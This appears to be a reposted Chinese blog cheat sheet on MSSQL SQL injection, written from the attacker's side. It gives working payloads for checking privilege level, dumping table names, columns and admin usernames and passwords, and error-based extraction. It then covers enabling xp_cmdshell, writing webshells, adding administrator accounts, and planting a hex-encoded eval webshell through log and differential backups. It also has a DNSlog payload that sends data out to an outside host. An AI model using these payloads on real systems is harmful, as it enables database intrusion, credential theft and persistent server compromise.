SQL注入之MSSQL注入


MSSQL注入

這里只記錄相對於mysql的一些東西


判斷是否為Mssql數據庫

and exists(select * from sysobjects) --

權限:

sa權限:數據庫操作,⽂件管理,命令執⾏,注冊表讀取等 system
db權限:⽂件管理,數據庫操作等 users-adminstrators
public權限:數據庫操作 guest-users

and 1=(select is_srvrolemember('sysadmin')) //判斷是否是系統管理員
and 1=(select is_srvrolemember('db_owner')) //判斷是否是庫權限
and 1=(select is_srvrolemember('public')) //判斷是否為public權限

調⽤數據庫的代碼:
<%set conn =server.createobject("adodb.connection") conn.open "provider=sqloledb;source=local;uid=sa;pwd=******;database=database-name" %>


聯合查詢:

id=-2 union all select 1,2,3,4..

1.@@version- 獲取版本信息;
2.db_name() -數據庫名字
3.user,system_user,current_user,user_name – 獲取當前⽤戶名
4.@@SERVERNAME – 獲取有關服務器主機的信息。

爆表:
/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),'3',4
/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage')),'3',4
/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage','announcement')),'3',4

爆列:
/new_list.asp?id=-2 union all select null,(select top 1 col_name(object_id('manage'),1) from sysobjects),null,nul
/new_list.asp?id=-2 union all select null,(select top 1 col_name(object_id('manage'),2) from sysobjects),null,null
/new_list.asp?id=-2 union all select null,(select top 1 col_name(object_id('manage'),3) from sysobjects),null,null
/new_list.asp?id=-2 union all select null,(select top 1 col_name(object_id('manage'),4) from sysobjects),null,null

字段:
new_list.asp?id=-2 union all select null,username, password ,null from manage


報錯注入:

convert()函數: (原理:類型轉換失敗)

convert(int,@@version) - 獲取版本信息
convert(int,db_name()) -數據庫名字 convert(int,user) -當前⽤戶名
convert(int,@@SERVERNAME)– 獲取有關服務器主機的信息

CONVERT(int,(select top 1 table_name from information_schema.columns)) 表名

convert(int,(select top 1 COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(16進制的表名 as varchar))) 列名

convert(int,(select top 1 name 列名 from 表名)) 字段


盲注:

還是sqlmap吧。。。。。。


Sa權限

寫webshell(有寫權限即可)

常用句子嫌占地方就不放了

eg: exec master..xp_webshell "echo 一句話 > 物理路徑"

檢測語句是否執行 exec master..xp_webshell "ping -n 1/10 www.baidu.com" #
如果發現被禁用,可以啟用:
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

如果沒有回顯,在用報錯盲注來讀取寫出的東西。

語句內的引號可以轉義一下: ^

遠控

bitsadmin //win 7/2008
powershell //win 7/2008
vbs

注意目錄的歧義性
c:\users\public
無法查看物理路徑,可以嘗試指定位置或當前文件夾。

添加⽤戶

防護軟件不給連接
防⽕牆開啟 (慎重關閉)
不給添加用戶

net user 賬號 密碼 /add
net localgroup administators 賬號 /add
net user 賬號 /del


db_owner權限

log備份

;alter database (數據庫名稱) set RECOVERY FULL-- 數據庫激活為還原模式

;drop table cmd--

;create table cmd (a image)--

;backup log (數據庫名稱) to disk = 'c:/1.bak' with init--

;insert into cmd (a) values ('<%@ Page Language="Jscript"%> %eval(Request.Item["hackdog"],"unsafe");%>')-- (容易返回不閉合)

;backup log (數據庫名稱) to disk = 'C:/Users/Administrator/Desktop/wwwroot/xf.aspx'--

差異備份

1⾸先完整備份⼀次(c:\ddd.bak為所備份未見) backup database 庫名 to disk = 'c:\ddd.bak';--
2.創建表並插曲⼊數據 create table [dbo].[dtest] ([cmd] [image]); insert into dtest(cmd) values(0x3c25402050616765204c616e67756167653d224a73637269707422253e20256576616c285265717 56573742e4974656d5b226861636b646f67225d2c22756e7361666522293b253e);--
3.進⾏差異備份 backup database 庫名 to disk='⽬標位置\d.asp' WITH DIFFERENTIAL,FORMAT;--
上⾯0x3c25402050616765204c616e67756167653d224a73637269707422253e20256576616c2852657175657374 2e4974656d5b226861636b646f67225d2c22756e7361666522293b253e
就是⼀句話⽊馬的內容:<%@ Page Language="Jscript"%> <%eval(Request.Item["hackdog"],"unsafe");%>

**

DNSlog

mysql:
1' and if((select load_file(concat('\\',hex((select 212)),'xxxxx.ceye.io\abv'))),1,0) And '1'='1

其他的太多了...等理解深入了單獨寫一下


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM